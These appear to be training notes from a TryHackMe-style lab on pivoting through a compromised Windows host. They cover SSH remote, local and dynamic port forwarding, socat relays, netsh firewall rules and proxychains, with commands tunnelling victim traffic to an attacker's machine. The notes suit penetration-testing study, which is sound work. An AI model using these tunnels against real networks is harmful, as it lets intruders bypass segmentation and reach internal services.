Port Forwarding

PRACTICE ! PRACTICE ! PRACTICE !

Most of the previous lateral movement techniques we've learnt require specific ports to be available for an attacker

In real-world networks, the administrators may have blocked some of these ports for security reasons or have implemented segmentation around the network, preventing you from reaching SMB, RDP, WinRM or RPC ports

To bypass these restrictions we can use Port Forwarding technique - which consist of using any compromised host as a jump box to pivot to other hosts

SSH Tunnelling

The first protocol we'll be looking at is SSH, as it already has built-in functionality to do port forwarding through a feature called SSH Tunneling

While SSH used to be a protocol associated with Linux systems, Windows now ships with the OpenSSH client by default

Let's assume a Scenario

  • Where we've gained control over the PC-1 machine (it doesn't need to be administrator access) and would like to use it as a pivot to access a port on another machine to which we can't directly connect

  • We will start a tunnel from the PC-1 machine, acting as an SSH client, to the Attacker's PC, which will act as an SSH server

  • The reason to do so is that you'll often find an SSH client on Windows machines, but no SSH server will be available most of the time

Since we'll be making a connection back to our attacker's machine, we'll want to create a user in it without access to any console for tunnelling and set a password to use for creating the tunnels

useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser

Depending on your needs, the SSH tunnel can be used to do either local or remote port forwarding

SSH Remote Port Forwarding

Let's assume that firewall policies block the attacker's machine from directly accessing port 3389 on the server

  • If the attacker has previously compromised PC-1 and, in turn, PC-1 has access to port 3389 of the server, it can be used to pivot to port 3389 using remote port forwarding from PC-1

  • Remote port forwarding allows you to take a reachable port from the SSH client and project it into a remote SSH server (Attacker's machine)

As a result, a port will be opened in the attacker's machine that can be used to connect back to port 3389 in the server through the SSH tunnel

A valid question that might pop up by this point is why we need port forwarding if we have compromised PC-1 and can run an RDP session directly from there ?

In a situation where we only have console access to PC-1, we won't be able to use any RDP client as we don't have a GUI. By making the port available to your attacker's machine, you can use a Linux RDP client to connect. Similar situations arise when you want to run an exploit against a port that can't be reached directly, as your exploit may require a specific scripting language that may not always be available at machines you compromise along the way

To forward port 3389 on the server back to our attacker's machine, we can use the following command on PC-1

C:\> ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
  • This will establish an SSH session from PC-1 to 1.1.1.1 (Attacker PC) using the tunneluser user

  • Since the tunneluser isn't allowed to run a shell on the Attacker PC, we need to run the ssh command with the -N switch to prevent the client from requesting one, or the connection will exit immediately

  • The -R switch is used to request a remote port forward, and the syntax requires us first to indicate the port we will be opening at the SSH server (3389), followed by a colon and then the IP and port of the socket we'll be forwarding (3.3.3.3:3389)

Notice that the port numbers don't need to match

Once our tunnel is set and running, we can go to the attacker's machine and RDP into the forwarded port to reach the server

munra@attacker-pc$ xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword

SSH Local Port Forwarding

Local port forwarding allows us to "pull" a port from an SSH server into the SSH client

In our scenario, this could be used to take any service available in our attacker's machine and make it available through a port on PC-1

  • That way, any host that can't connect directly to the attacker's PC but can connect to PC-1 will now be able to reach the attacker's services through the pivot host

Using this type of port forwarding would allow us to run reverse shells from hosts that normally wouldn't be able to connect back to us or simply make any service we want available to machines that have no direct connection to us

To forward port 80 from the attacker's machine and make it available from PC-1, we can run the following command on PC-1

C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N
  • The command structure is similar to the one used in remote port forwarding but uses the -L option for local port forwarding

  • This option requires us to indicate the local socket used by PC-1 to receive connections (*:80) and the remote socket to connect to from the attacker's PC perspective (127.0.0.1:80)

Notice that we use the IP address 127.0.0.1 in the second socket, as from the attacker's PC perspective, that's the host that holds the port 80 to be forwarded

Since we are opening a new port on PC-1, we might need to add a firewall rule to allow for incoming connections (with dir=in) - Administrative privileges are needed for this

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

Once your tunnel is set up, any user pointing their browsers to PC-1 at http://2.2.2.2:80 and see the website published by the attacker's machine

Port Forwarding with Socat

What if SSH is NOT available ?

  • Socat can be used to perform similar functionality

While not as flexible as SSH, socat allows you to forward ports in a much simpler way

One of the disadvantages of using socat is that we need to transfer it to the pivot host (Victim's host) it makes them more detectable than SSH, but it might be worth a try where no other option is available

  • The basic syntax to perform port forwarding using socat is much simpler - If we wanted to open port 1234 on a host and forward any connection we receive there to port 4321 on host 1.1.1.1, you would have the following command

socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

The fork option allows socat to fork a new process for each connection received, making it possible to handle multiple connections without closing

If you don't include it, socat will close when the first connection made is finished

  • if we wanted to access port 3389 on the server using PC-1 as a pivot as we did with SSH remote port forwarding, we could do the same via Socat

C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

Note that socat can't forward the connection directly to the attacker's machine as SSH did but will open a port on PC-1 that the attacker's machine can then connect to

As usual, since a port is being opened on the pivot host, we might need to create a firewall rule to allow any connections to that port

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

If we'd like to expose port 80 from the attacker's machine so that it is reachable by the server, we only need to adjust the command a bit

C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

As a result, PC-1 will spawn port 80 and listen for connections to be forwarded to port 80 on the attacker's machine

Dynamic Port Forwarding and SOCKS

There are times when we might need to run scans against many ports of a host, or even many ports across many machines, all through a pivot host

  • In those cases, dynamic port forwarding allows us to pivot through a host and establish several connections to any IP addresses/ports we want by using a SOCKS proxy

Since we don't want to rely on an SSH server existing on the Windows machines in our target network, we will normally use the SSH client to establish a reverse dynamic port forwarding with the following command

C:\> ssh tunneluser@1.1.1.1 -R 9050 -N

The SSH server will start a SOCKS proxy on port 9050, and forward any connection request through the SSH tunnel, where they are finally proxied by the SSH client

The most interesting part is that we can easily use any of our tools through the SOCKS proxy by using proxychains

  • We first need to make sure that proxychains is correctly configured to point any connection to the same port used by SSH for the SOCKS proxy server

The proxychains configuration file can be found at /etc/proxychains.conf

The end of the configuration file, we should see a line that indicates the port in use for socks proxying

[ProxyList]
socks4  127.0.0.1 9050

The default port is 9050, but any port will work as long as it matches the one we used when establishing the SSH tunnel

If we now want to execute any command through the proxy, we can use proxychains:

proxychains curl http://pxeboot.za.tryhackme.com

Some more tools and techniques . . . . . .

Last updated